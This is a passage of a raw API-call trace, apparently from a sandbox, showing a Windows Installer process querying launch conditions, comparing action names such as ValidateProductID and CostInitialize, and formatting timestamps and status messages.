wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.219] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.219] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.219] memcpy (in: _Dst=0x36d9ce, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9ce) returned 0x36d9ce [0124.219] memcpy (in: _Dst=0x36d9de, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36d9de) returned 0x36d9de [0124.219] memcpy (in: _Dst=0x36d9e2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.219] SetLastError (dwErrCode=0x0) [0124.219] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.219] memcpy (in: _Dst=0x36d9e2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.219] memcpy (in: _Dst=0x36d9e8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36d9e8) returned 0x36d9e8 [0124.219] memcpy (in: _Dst=0x36d9ec, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.219] SetLastError (dwErrCode=0x0) [0124.219] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.219] memcpy (in: _Dst=0x36d9ec, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.220] GetCurrentThreadId () returned 0xf50 [0124.220] GetCurrentThreadId () returned 0xf50 [0124.220] SetEvent (hEvent=0x170) returned 1 [0124.220] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.222] lstrlenW (lpString="LaunchConditions") returned 16 [0124.222] SetLastError (dwErrCode=0xd) [0124.222] SetLastError (dwErrCode=0xd) [0124.222] lstrlenW (lpString="Time") returned 4 [0124.222] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.222] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.222] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.222] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.222] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.222] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.222] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.222] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.223] memcpy (in: _Dst=0x36d9ea, _Src=0x376446, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.223] memcpy (in: _Dst=0x36d9ee, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.223] SetLastError (dwErrCode=0x0) [0124.223] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.223] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.223] memcpy (in: _Dst=0x36d9f4, _Src=0x376450, _Size=0x2 | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.223] GetCurrentThreadId () returned 0xf50 [0124.223] GetCurrentThreadId () returned 0xf50 [0124.223] SetEvent (hEvent=0x170) returned 1 [0124.223] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.226] GlobalLock (hMem=0xf400f8) returned 0x210ccd0 [0124.226] lstrlenW (lpString="SELECT `Condition`, `Description` FROM `LaunchCondition`") returned 56 [0124.226] lstrlenW (lpString="SELECT `Condition`, `Description` FROM `LaunchCondition`") returned 56 [0124.227] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.227] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.227] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.227] lstrlenW (lpString="LaunchCondition") returned 15 [0124.227] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䄕䑸䋦䒌䇱䗬䒬䠱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce0b0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.227] CExposedStream::Stat () returned 0x0 [0124.227] GlobalLock (hMem=0xf40108) returned 0x3bc570 [0124.227] CExposedStream::Read () returned 0x0 [0124.227] memcpy (in: _Dst=0x3bc574, _Src=0x36df3c, _Size=0x2 | out: _Dst=0x3bc574) returned 0x3bc574 [0124.227] memcpy (in: _Dst=0x3bc578, _Src=0x36df3e, _Size=0x2 | out: _Dst=0x3bc578) returned 0x3bc578 [0124.227] CExposedStream::Release () returned 0x0 [0124.227] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.227] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.227] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.227] lstrlenW (lpString="Condition") returned 9 [0124.227] lstrlenW (lpString="Description") returned 11 [0124.227] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.227] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.228] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.228] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.228] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.228] SetLastError (dwErrCode=0xd) [0124.228] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.228] GlobalUnlock (hMem=0xf40108) returned 0 [0124.228] lstrlenW (lpString="LaunchConditions") returned 16 [0124.228] SetLastError (dwErrCode=0xd) [0124.228] SetLastError (dwErrCode=0xd) [0124.228] lstrlenW (lpString="Time") returned 4 [0124.228] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.228] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.228] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.228] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.228] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x31f)) [0124.228] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.228] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.228] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.228] memcpy (in: _Dst=0x36d9ea, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.228] memcpy (in: _Dst=0x36d9ee, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.229] SetLastError (dwErrCode=0x0) [0124.229] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.229] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.229] memcpy (in: _Dst=0x36d9f4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.229] memcpy (in: _Dst=0x36da12, _Src=0x34b110, _Size=0x2 | out: _Dst=0x36da12) returned 0x36da12 [0124.229] SetLastError (dwErrCode=0x0) [0124.229] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.229] memcpy (in: _Dst=0x36da12, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36da12) returned 0x36da12 [0124.229] memcpy (in: _Dst=0x36da18, _Src=0x34b114, _Size=0x2 | out: _Dst=0x36da18) returned 0x36da18 [0124.229] GetCurrentThreadId () returned 0xf50 [0124.229] GetCurrentThreadId () returned 0xf50 [0124.229] SetEvent (hEvent=0x170) returned 1 [0124.229] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.232] lstrlenW (lpString="ActionText") returned 10 [0124.232] lstrcmpW (lpString1="Advertise", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="AppSearch", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="BindImage", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="CCPSearch", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="CostFinalize", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="CostInitialize", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="CreateFolders", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="CreateShortcuts", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="DeleteServices", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="DuplicateFiles", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="FileCost", lpString2="ValidateProductID") returned -1 [0124.232] lstrcmpW (lpString1="FindRelatedProducts", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="GenerateScript", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="InstallAdminPackage", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="InstallFiles", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="InstallODBC", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="InstallServices", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="InstallValidate", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="LaunchConditions", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="MoveFiles", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="PatchFiles", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="ProcessComponents", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="PublishComponents", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="PublishFeatures", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="PublishProduct", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterClassInfo", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterComPlus", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterFonts", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterProduct", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RegisterUser", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RemoveFiles", lpString2="ValidateProductID") returned -1 [0124.233] lstrcmpW (lpString1="RemoveFolders", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="RemoveIniValues", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="RemoveODBC", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="RemoveShortcuts", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="RMCCPSearch", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="Rollback", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="RollbackCleanup", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="SelfRegModules", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="SelfUnregModules", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="SetODBCFolders", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="StartServices", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="StopServices", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnmoveFiles", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnpublishComponents", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnpublishFeatures", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnpublishProduct", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterComPlus", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterFonts", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="ValidateProductID") returned 1 [0124.234] lstrcmpW (lpString1="WriteIniValues", lpString2="ValidateProductID") returned 1 [0124.234] lstrcmpW (lpString1="WriteRegistryValues", lpString2="ValidateProductID") returned 1 [0124.234] lstrcmpW (lpString1="ShutdownApplications", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="ConfigureServices", lpString2="ValidateProductID") returned -1 [0124.234] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="ValidateProductID") returned -1 [0124.234] lstrlenW (lpString="ValidateProductID") returned 17 [0124.235] lstrlenW (lpString="{{") returned 2 [0124.235] lstrlenW (lpString=": }}") returned 4 [0124.235] SetLastError (dwErrCode=0xd) [0124.235] lstrlenW (lpString="Time") returned 4 [0124.235] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.235] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.235] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.235] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.235] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.235] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.235] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.235] memcpy (in: _Dst=0x36d9ce, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9ce) returned 0x36d9ce [0124.235] memcpy (in: _Dst=0x36d9de, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36d9de) returned 0x36d9de [0124.235] memcpy (in: _Dst=0x36d9e2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.235] SetLastError (dwErrCode=0x0) [0124.235] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.235] memcpy (in: _Dst=0x36d9e2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.235] memcpy (in: _Dst=0x36d9e8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36d9e8) returned 0x36d9e8 [0124.235] memcpy (in: _Dst=0x36d9ec, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.235] SetLastError (dwErrCode=0x0) [0124.235] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.235] memcpy (in: _Dst=0x36d9ec, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.235] GetCurrentThreadId () returned 0xf50 [0124.235] GetCurrentThreadId () returned 0xf50 [0124.235] SetEvent (hEvent=0x170) returned 1 [0124.235] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.238] lstrlenW (lpString="ValidateProductID") returned 17 [0124.238] SetLastError (dwErrCode=0xd) [0124.238] SetLastError (dwErrCode=0xd) [0124.238] lstrlenW (lpString="Time") returned 4 [0124.238] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.238] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.238] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.238] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.238] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.238] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.238] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.238] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.238] memcpy (in: _Dst=0x36d9ea, _Src=0x376446, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.238] memcpy (in: _Dst=0x36d9ee, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.238] SetLastError (dwErrCode=0x0) [0124.238] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.238] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.238] memcpy (in: _Dst=0x36d9f4, _Src=0x376450, _Size=0x2 | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.238] GetCurrentThreadId () returned 0xf50 [0124.238] GetCurrentThreadId () returned 0xf50 [0124.238] SetEvent (hEvent=0x170) returned 1 [0124.238] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.241] lstrlenW (lpString="ValidateProductID") returned 17 [0124.242] SetLastError (dwErrCode=0xd) [0124.242] SetLastError (dwErrCode=0xd) [0124.242] lstrlenW (lpString="Time") returned 4 [0124.242] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.242] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.242] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.242] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.242] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x32e)) [0124.242] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.242] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.242] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.242] memcpy (in: _Dst=0x36d9ea, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.242] memcpy (in: _Dst=0x36d9ee, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.242] SetLastError (dwErrCode=0x0) [0124.242] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.242] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.242] memcpy (in: _Dst=0x36d9f4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.242] memcpy (in: _Dst=0x36da12, _Src=0x34b110, _Size=0x2 | out: _Dst=0x36da12) returned 0x36da12 [0124.242] SetLastError (dwErrCode=0x0) [0124.242] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.242] memcpy (in: _Dst=0x36da12, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36da12) returned 0x36da12 [0124.242] memcpy (in: _Dst=0x36da18, _Src=0x34b114, _Size=0x2 | out: _Dst=0x36da18) returned 0x36da18 [0124.242] GetCurrentThreadId () returned 0xf50 [0124.242] GetCurrentThreadId () returned 0xf50 [0124.242] SetEvent (hEvent=0x170) returned 1 [0124.242] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.245] lstrlenW (lpString="ActionText") returned 10 [0124.245] lstrcmpW (lpString1="Advertise", lpString2="CostInitialize") returned -1 [0124.245] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="CostInitialize") returned -1 [0124.245] lstrcmpW (lpString1="AppSearch", lpString2="CostInitialize") returned -1 [0124.245] lstrcmpW (lpString1="BindImage", lpString2="CostInitialize") returned -1 [0124.245] lstrcmpW (lpString1="CCPSearch", lpString2="CostInitialize") returned -1 [0124.245] lstrcmpW (lpString1="CostFinalize", lpString2="CostInitialize") returned -1 [0124.245] lstrcmpW (lpString1="CostInitialize", lpString2="CostInitialize") returned 0 [0124.245] lstrlenW (lpString="ProductLanguage") returned 15 [0124.245] SetLastError (dwErrCode=0x0) [0124.245] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.247] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7537, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Computing space requirements\r\n") returned 0x1e [0124.250] lstrlenW (lpString="Computing space requirements") returned 28 [0124.250] FreeLibrary (hLibModule=0xc10002) returned 1 [0124.250] lstrlenW (lpString="CostInitialize") returned 14 [0124.251] lstrlenW (lpString="{{") returned 2 [0124.251] lstrlenW (lpString=": }}") returned 4 [0124.251] SetLastError (dwErrCode=0xd) [0124.251] lstrlenW (lpString="Time") returned 4 [0124.251] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x33e)) [0124.251] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, 